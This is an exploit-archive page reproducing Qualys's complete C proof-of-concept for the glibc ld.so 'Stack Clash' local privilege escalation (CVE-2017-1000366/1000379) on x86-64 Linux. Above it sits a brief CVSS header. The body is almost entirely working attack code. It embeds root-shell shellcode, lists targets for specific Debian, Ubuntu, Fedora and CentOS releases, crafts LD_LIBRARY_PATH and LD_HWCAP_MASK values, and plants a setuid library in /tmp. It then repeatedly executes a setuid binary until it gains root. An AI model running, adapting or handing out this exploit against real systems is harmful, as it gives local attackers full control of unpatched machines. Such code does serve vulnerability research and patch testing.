Linux 'ldso_hwcap_64' Local Root Stack Clash Exploit

2017.06.29
Credit: Qualys
Risk: Medium
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* * Linux_ldso_hwcap_64.c for CVE-2017-1000366, CVE-2017-1000379 * Copyright (C) 2017 Qualys, Inc. * * my_important_hwcaps() adapted from elf/dl-hwcaps.c, * part of the GNU C Library: * Copyright (C) 2012-2017 Free Software Foundation, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** cat > la.c << "EOF" static void __attribute__ ((constructor)) _init (void) { __asm__ __volatile__ ( "addq $64, %rsp;" // setuid(0); "movq $105, %rax;" "movq $0, %rdi;" "syscall;" // setgid(0); "movq $106, %rax;" "movq $0, %rdi;" "syscall;" // dup2(0, 1); "movq $33, %rax;" "movq $0, %rdi;" "movq $1, %rsi;" "syscall;" // dup2(0, 2); "movq $33, %rax;" "movq $0, %rdi;" "movq $2, %rsi;" "syscall;" // execve("/bin/sh"); "movq $59, %rax;" "movq $0x0068732f6e69622f, %rdi;" "pushq %rdi;" "movq %rsp, %rdi;" "movq $0, %rdx;" "pushq %rdx;" "pushq %rdi;" "movq %rsp, %rsi;" "syscall;" // exit(0); "movq $60, %rax;" "movq $0, %rdi;" "syscall;" ); } EOF gcc -fpic -shared -nostdlib -Os -s -o la.so la.c xxd -i la.so > la.so.h **/ #define _GNU_SOURCE #include <assert.h> #include <elf.h> #include <fcntl.h> #include <limits.h> #include <link.h> #include <signal.h> #include <stdarg.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define PAGESZ ((size_t)4096) #define STACK_ALIGN ((size_t)16) #define MALLOC_ALIGN ((size_t)8) #define MAX_ARG_STRLEN ((size_t)128<<10) #define SUB_STACK_RAND ((size_t)8192) #define INITIAL_STACK_EXPANSION (131072UL) #define LDSO "/lib64/ld-linux-x86-64.so.2" static const struct target * target; static const struct target { const char * name; size_t vdso_vvar; int jump_ldso_pie; int CVE_2015_1593; int offset2lib; const char * system_dir; const char * repl_lib; unsigned int extra_page; int ignore_lib; int ignore_origin; int disable_audit; } targets[] = { { .name = "Debian 7.7 (wheezy)", .vdso_vvar = 4096, .jump_ldso_pie = 1, .CVE_2015_1593 = 1, .offset2lib = 1, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", }, { .name = "Debian 8.5 (jessie)", .vdso_vvar = 16384, .offset2lib = 1, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", }, { .name = "Debian 9.0 (stretch)", .vdso_vvar = 16384, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .extra_page = 1, }, { .name = "Ubuntu 14.04.2 (Trusty Tahr)", .vdso_vvar = 8192, .jump_ldso_pie = 1, .CVE_2015_1593 = 1, .offset2lib = 1, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .disable_audit = 1, }, { .name = "Ubuntu 16.04.2 (Xenial Xerus)", .vdso_vvar = 16384, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .disable_audit = 1, }, { .name = "Ubuntu 17.04 (Zesty Zapus)", .vdso_vvar = 16384, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .extra_page = 1, .disable_audit = 1, }, { .name = "Fedora 22 (Twenty Two)", .vdso_vvar = 16384, .offset2lib = 1, .system_dir = "/lib64", .repl_lib = "lib64", }, { .name = "Fedora 25 (Server Edition)", .vdso_vvar = 16384, .system_dir = "/lib64", .repl_lib = "lib64", .extra_page = 1, }, { .name = "CentOS 7.3.1611 (Core)", .vdso_vvar = 8192, .jump_ldso_pie = 1, .offset2lib = 1, .system_dir = "/lib64", .repl_lib = "lib64", }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * my_asprintf(const char * const fmt, ...) { if (!fmt) die(); char * str = NULL; va_list ap; va_start(ap, fmt); const int len = vasprintf(&str, fmt, ap); va_end(ap); if (!str) die(); if (len <= 0) die(); if ((unsigned int)len != strlen(str)) die(); return str; } static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } struct elf_info { ElfW(Half) type; uintptr_t rx_start, rx_end; uintptr_t rw_start, rw_end; }; static struct elf_info get_elf_info(const char * const binary) { struct elf_info elf = { ET_NONE }; if (elf.rx_start || elf.rx_end) die(); if (elf.rw_start || elf.rw_end) die(); const int fd = open(binary, O_RDONLY); if (fd <= -1) die(); struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_type != ET_DYN && ehdr->e_type != ET_EXEC) die(); if (ehdr->e_machine != EM_X86_64) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); elf.type = ehdr->e_type; int interp = 0; unsigned int i; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type == PT_INTERP) interp = 1; if (phdr->p_type != PT_LOAD) continue; if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr != phdr->p_paddr) die(); if (phdr->p_vaddr >= SAFESZ) die(); if (phdr->p_memsz >= SAFESZ) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_align != 0x200000) die(); switch (phdr->p_flags) { case PF_R | PF_X: if (elf.rx_end) die(); if (elf.rw_end) die(); if (phdr->p_vaddr && ehdr->e_type != ET_EXEC) die(); elf.rx_start = phdr->p_vaddr & ~(PAGESZ-1); elf.rx_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (!elf.rx_end) die(); break; case PF_R | PF_W: if (!elf.rx_end) die(); if (elf.rw_end) die(); elf.rw_start = phdr->p_vaddr & ~(PAGESZ-1); elf.rw_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (elf.rw_start <= elf.rx_end) die(); break; default: die(); } } if (!interp && !strstr(binary, "/ld-linux")) die(); if (!elf.rx_end) die(); if (!elf.rw_end) die(); free(buf); return elf; } /* There are no hardware capabilities defined. */ #define my_hwcap_string(idx) "" struct my_important_hwcaps { unsigned long hwcap_mask; size_t max_capstrlen; size_t pointers; size_t strings; }; struct my_link_map { const ElfW(Phdr) * l_phdr; ElfW(Half) l_phnum; ElfW(Addr) l_addr; }; struct r_strlenpair { const char *str; size_t len; }; /* Return an array of useful/necessary hardware capability names. */ static struct my_important_hwcaps my_important_hwcaps (const char * const platform, const size_t platform_len, const uint64_t hwcap, const uint64_t hwcap_mask, const struct my_link_map * sysinfo_map) { static const struct my_important_hwcaps err; /* Determine how many important bits are set. */ uint64_t masked = hwcap & hwcap_mask; size_t cnt = platform != NULL; size_t n, m; size_t total; struct r_strlenpair *result; /* Count the number of bits set in the masked value. */ for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n) if ((masked & (1ULL << n)) != 0) ++cnt; /* The system-supplied DSO can contain a note of type 2, vendor "GNU". This gives us a list of names to treat as fake hwcap bits. */ const char *dsocaps = NULL; size_t dsocapslen = 0; if (sysinfo_map != NULL) { const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr; const ElfW(Word) phnum = sysinfo_map->l_phnum; uint_fast16_t i; for (i = 0; i < phnum; ++i) if (phdr[i].p_type == PT_NOTE) { const ElfW(Addr) start = (phdr[i].p_vaddr + sysinfo_map->l_addr); /* The standard ELF note layout is exactly as the anonymous struct. The next element is a variable length vendor name of length VENDORLEN (with a real length rounded to ElfW(Word)), followed by the data of length DATALEN (with a real length rounded to ElfW(Word)). */ const struct { ElfW(Word) vendorlen; ElfW(Word) datalen; ElfW(Word) type; } *note = (const void *) start; while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz) { #define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word))) /* The layout of the type 2, vendor "GNU" note is as follows: .long <Number of capabilities enabled by this note> .long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA). .byte <The bit number for the next capability> .asciz <The name of the capability>. */ if (note->type == NT_GNU_HWCAP && note->vendorlen == sizeof "GNU" && !memcmp ((note + 1), "GNU", sizeof "GNU") && note->datalen > 2 * sizeof (ElfW(Word)) + 2) { const ElfW(Word) *p = ((const void *) (note + 1) + ROUND (sizeof "GNU")); cnt += *p++; ++p; /* Skip mask word. */ dsocaps = (const char *) p; /* Pseudo-string "<b>name" */ dsocapslen = note->datalen - sizeof *p * 2; break; } note = ((const void *) (note + 1) + ROUND (note->vendorlen) + ROUND (note->datalen)); #undef ROUND } if (dsocaps != NULL) break; } } /* For TLS enabled builds always add 'tls'. */ ++cnt; /* Create temporary data structure to generate result table. */ if (cnt < 2) return err; if (cnt >= 32) return err; struct r_strlenpair temp[cnt]; m = 0; if (dsocaps != NULL) { /* dsocaps points to the .asciz string, and -1 points to the mask .long just before the string. */ const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1]; size_t len; const char *p; for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1) { uint_fast8_t bit = *p++; len = strlen (p); /* Skip entries that are not enabled in the mask word. */ if (mask & ((ElfW(Word)) 1 << bit)) { temp[m].str = p; temp[m].len = len; ++m; } else --cnt; } } for (n = 0; masked != 0; ++n) if ((masked & (1ULL << n)) != 0) { temp[m].str = my_hwcap_string (n); temp[m].len = strlen (temp[m].str); masked ^= 1ULL << n; ++m; } if (platform != NULL) { temp[m].str = platform; temp[m].len = platform_len; ++m; } temp[m].str = "tls"; temp[m].len = 3; ++m; assert (m == cnt); /* Determine the total size of all strings together. */ if (cnt == 1) total = temp[0].len + 1; else { total = temp[0].len + temp[cnt - 1].len + 2; if (cnt > 2) { total <<= 1; for (n = 1; n + 1 < cnt; ++n) total += temp[n].len + 1; if (cnt > 3 && (cnt >= sizeof (size_t) * 8 || total + (sizeof (*result) << 3) >= (1UL << (sizeof (size_t) * 8 - cnt + 3)))) return err; total <<= cnt - 3; } } /* The result structure: we use a very compressed way to store the various combinations of capability names. */ const size_t _sz = 1 << cnt; /* Now we are ready to install the string pointers and length. */ size_t max_capstrlen = 0; n = cnt; do { const size_t mask = 1 << --n; for (m = 1 << cnt; m > 0; ) { if ((--m & mask) != 0) max_capstrlen += temp[n].len + 1; break; } } while (n != 0); if (hwcap_mask > ULONG_MAX) die(); const struct my_important_hwcaps ret = { .hwcap_mask = hwcap_mask, .max_capstrlen = max_capstrlen, .pointers = _sz * sizeof (*result), .strings = total, }; return ret; } static size_t my_bsearch(const void * const key, const void * const base, const size_t nmemb, const size_t size, int (* const compar)(const void *, const void *)) { if (!key) die(); if (!size) die(); if (!compar) die(); if (nmemb >= SSIZE_MAX / size) die(); if (!base != !nmemb) die(); if (!base || !nmemb) return 0; size_t low = 0; size_t high = nmemb - 1; while (low <= high) { const size_t mid = low + (high - low) / 2; if (mid >= nmemb) die(); const int cond = compar(key, base + mid * size); switch (cond) { case 0: return mid; case -1: if (mid <= 0) { if (mid != 0) die(); if (low != 0) die(); return low; } high = mid - 1; break; case +1: low = mid + 1; break; default: die(); } } if (low > nmemb) die(); return low; } static int cmp_important_hwcaps(const void * const _a, const void * const _b) { const struct my_important_hwcaps * const a = _a; const struct my_important_hwcaps * const b = _b; if (a->strings < b->strings) return -1; if (a->strings > b->strings) return +1; if (a->pointers < b->pointers) return -1; if (a->pointers > b->pointers) return +1; if (a->max_capstrlen < b->max_capstrlen) return -1; if (a->max_capstrlen > b->max_capstrlen) return +1; return 0; } static void copy_lib(const char * const src, const char * const dst) { if (!src) die(); if (*src != '/') die(); if (!dst) die(); if (*dst != '/') die(); const int src_fd = open(src, O_RDONLY); if (src_fd <= -1) die(); const int dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (dst_fd <= -1) die(); for (;;) { char buf[1024]; const ssize_t rd = read(src_fd, buf, sizeof(buf)); if (rd == 0) break; if (rd <= 0) die(); const ssize_t wr = write(dst_fd, buf, rd); if (wr != rd) die(); } if (fchmod(dst_fd, 0755)) die(); if (close(dst_fd)) die(); if (close(src_fd)) die(); } static void create_needed_libs(const char * const bin, const char * const dir) { if (!bin) die(); if (*bin != '/') die(); if (strspn(bin, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+,-./_") != strlen(bin)) die(); if (!dir) die(); if (*dir != '/') die(); if (dir[strlen(dir)-1] != '/') die(); char cmd[256]; if ((unsigned int)snprintf(cmd, sizeof(cmd), "/usr/bin/env - %s --list %s", LDSO, bin) >= sizeof(cmd)) die(); FILE * const fp = popen(cmd, "r"); if (!fp) die(); char buf[256]; unsigned int num_libs = 0; while (fgets(buf, sizeof(buf), fp) == buf) { if (!strchr(buf, '\n')) die(); const char * const rel_lib = buf + strspn(buf, "\t "); if (strncmp(rel_lib, "lib", 3)) continue; char * sp = strchr(rel_lib, ' '); if (!sp) die(); if (strncmp(sp, " => /", 5)) die(); *sp = '\0'; if (strchr(rel_lib, '/')) die(); const char * const abs_lib = sp + 4; if (*abs_lib != '/') die(); sp = strchr(abs_lib, ' '); if (!sp) die(); if (strncmp(sp, " (0x", 4)) die(); *sp = '\0'; size_t i; static const char * const prefixes[] = { "", "/", "/.", "/.." }; for (i = 0; i < sizeof(prefixes)/sizeof(*prefixes); i++) { char tmp_lib[256]; if ((unsigned int)snprintf(tmp_lib, sizeof(tmp_lib), "%s%s%s", dir, prefixes[i], rel_lib) >= sizeof(tmp_lib)) die(); copy_lib(abs_lib, tmp_lib); } if (!++num_libs) die(); } if (!num_libs) die(); printf("copied %u lib%s\n", num_libs, num_libs > 1 ? "s" : ""); if (pclose(fp) != EXIT_SUCCESS) die(); } int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } const size_t safe_stack_size = target->CVE_2015_1593 ? 65536 : 32768; printf("safe_stack_size %zu\n", safe_stack_size); if (safe_stack_size <= SUB_STACK_RAND) die(); const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, R_OK | X_OK)) die(); const struct elf_info elf_binary = get_elf_info(binary); const struct elf_info elf_interp = get_elf_info(LDSO); const struct elf_info elf = (elf_binary.type == ET_DYN && target->offset2lib && !target->jump_ldso_pie) ? elf_binary : elf_interp; const size_t jump_ldso_pie = (elf_binary.type == ET_DYN && target->offset2lib && target->jump_ldso_pie) ? (elf_binary.rx_end - elf_binary.rx_start) : 0; if (elf.rw_start - elf.rx_end <= target->vdso_vvar) die(); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); if (strcmp(platform, "x86_64") != 0) die(); const size_t platform_len = strlen(platform); const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = target->ignore_origin ? 0 : strlen(origin); { size_t i; for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR); if (!sysinfo_dso) die(); struct my_link_map sysinfo_map = { .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff, .l_phnum = sysinfo_dso->e_phnum, .l_addr = ULONG_MAX }; { uint_fast16_t i; for (i = 0; i < sysinfo_map.l_phnum; ++i) { const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i]; if (ph->p_type == PT_LOAD) { if (sysinfo_map.l_addr == ULONG_MAX) sysinfo_map.l_addr = ph->p_vaddr; } } } if (sysinfo_map.l_addr == ULONG_MAX) die(); sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr; const unsigned long hwcap = my_getauxval(AT_HWCAP); if (!hwcap) die(); struct my_important_hwcaps * important_hwcaps = NULL; size_t num_important_hwcaps = 0; { size_t max_important_hwcaps = 0; uint32_t hwcap_mask = 1; do { if (hwcap_mask & ~hwcap) continue; const uint64_t popcount = __builtin_popcount(hwcap_mask); if (popcount < 1) die(); if (popcount > 32) die(); const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map); if (!ihc.pointers) die(); const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); if (idx > num_important_hwcaps) die(); if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) { if (num_important_hwcaps >= max_important_hwcaps) { if (num_important_hwcaps != max_important_hwcaps) die(); if (max_important_hwcaps >= 65536) die(); max_important_hwcaps += 256; if (num_important_hwcaps >= max_important_hwcaps) die(); important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps)); if (!important_hwcaps) die(); } memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps)); important_hwcaps[idx] = ihc; num_important_hwcaps++; } if (!(hwcap_mask % 0x10000000)) printf("num_important_hwcaps %zu hwcap_mask %x\n", num_important_hwcaps, hwcap_mask); } while (++hwcap_mask); } printf("num_important_hwcaps %zu\n", num_important_hwcaps); static struct { size_t len, gwr, dst, cnt; struct my_important_hwcaps ihc; } best = { .ihc = { .pointers = SIZE_MAX } }; if (strrchr(target->system_dir, '/') != target->system_dir) die(); const char * const sep_lib = my_asprintf(":%s", target->system_dir); const size_t sep_lib_len = strlen(sep_lib); if (sep_lib_len >= MALLOC_ALIGN) die(); #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; size_t len; for (len = sizeof(llp) - sizeof(LLP); len >= MALLOC_ALIGN; len -= MALLOC_ALIGN) { size_t gwr; for (gwr = MALLOC_ALIGN; gwr <= len - sep_lib_len; gwr += MALLOC_ALIGN) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (len - sep_lib_len - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (len + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1); const size_t bwr = (cnt * (DSTs[dst].repl_len + 1)) + (len - gwr - cnt * (1 + DSTs[dst].len + 1)) + 1; size_t idx; for (idx = 0; idx < num_important_hwcaps; idx++) { const struct my_important_hwcaps ihc = important_hwcaps[idx]; if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue; if (ihc.pointers <= 2 * SUB_STACK_RAND) continue; const size_t nup = ((ihc.pointers + ihc.strings + PAGESZ-1) & ~(PAGESZ-1)) + (target->extra_page * PAGESZ); if (nup >= (elf.rw_start - elf.rx_end) - target->vdso_vvar) continue; const size_t ihc_strings_start = ihc.pointers; const size_t ihc_strings_end = ihc_strings_start + ihc.strings; const size_t gpj_base = nup + target->vdso_vvar + (elf.rw_end - elf.rw_start) + jump_ldso_pie + PAGESZ + safe_stack_size; const size_t gpj_base_lo = gpj_base - SUB_STACK_RAND; const size_t gpj_base_hi = gpj_base + SUB_STACK_RAND; if (gpj_base_lo <= gpj) continue; if (gpj_base_hi - gpj >= ihc_strings_start) continue; if (gpj_base_lo - gpj + gwr <= ihc_strings_start) continue; if (gpj_base_hi - gpj + gwr + bwr >= ihc_strings_end) continue; if (best.ihc.pointers <= ihc.pointers) continue; best.ihc = ihc; best.len = len; best.gwr = gwr; best.dst = dst; best.cnt = cnt; printf("max %zu ihcp %zu ihcs %zu len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu\n", ihc.max_capstrlen, ihc.pointers, ihc.strings, len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len); } } } } if (best.ihc.pointers >= SIZE_MAX) die(); if (INITIAL_STACK_EXPANSION <= safe_stack_size) die(); const size_t pads = (INITIAL_STACK_EXPANSION - safe_stack_size) / sizeof(char *); static char pad[MAX_ARG_STRLEN]; memset(pad, ' ', sizeof(pad)-1); { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', best.len); if (best.len <= sep_lib_len) die(); memcpy(cp + best.len - sep_lib_len, sep_lib, sep_lib_len); if (*(cp + best.len)) die(); #define LIB_TO_TMP "/../tmp/" if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die(); if (!best.gwr) die(); if (best.gwr >= best.len) die(); if (best.gwr % MALLOC_ALIGN) die(); size_t i; for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) { cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN); } if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if (llp[sizeof(llp)-1]) die(); if (strlen(llp) != sizeof(LLP)-1 + best.len) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask) >= sizeof(lhcm)) die(); const size_t args = 1 + (target->jump_ldso_pie ? 0 : pads) + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; if (!target->jump_ldso_pie) { size_t i; for (i = 0; i < pads; i++) { *ap++ = pad; } } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 3 + (target->jump_ldso_pie ? pads : 0) + 1; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; #define REL_LA "a" #define LDA "LD_AUDIT=" #define LDP "LD_PRELOAD=" *ep++ = target->disable_audit ? LDP REL_LA : LDA REL_LA; if (target->jump_ldso_pie) { size_t i; for (i = 0; i < pads; i++) { *ep++ = pad; } } *ep++ = NULL; if (ep != envp + envs) die(); } { const size_t MIN_GAP = target->CVE_2015_1593 ? (128*1024*1024UL + (((-1U ) & 0x3fffff) << 12)) : (128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) ; printf("MIN_GAP %zu\n", MIN_GAP); if (pads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die(); const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); { const char * const abs_la_dir = my_asprintf("/%s/%s/", target->system_dir, LIB_TO_TMP); const char * const abs_las[] = { my_asprintf("%s%s%s", abs_la_dir, "", REL_LA), my_asprintf("%s%s%s", abs_la_dir, "/", REL_LA), my_asprintf("%s%s%s", abs_la_dir, "/.", REL_LA), my_asprintf("%s%s%s", abs_la_dir, "/..", REL_LA), }; size_t i; for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) { const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); { struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_uid != getuid()) die(); if (st.st_uid != geteuid()) die(); } { static const #include "la.so.h" if (sizeof(la_so) != la_so_len) die(); if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die(); } if (fchmod(fd, 04755)) die(); if (close(fd)) die(); } if (target->disable_audit) create_needed_libs(binary, abs_la_dir); } size_t try; for (try = 1; try; try++) { if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); die(); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); }


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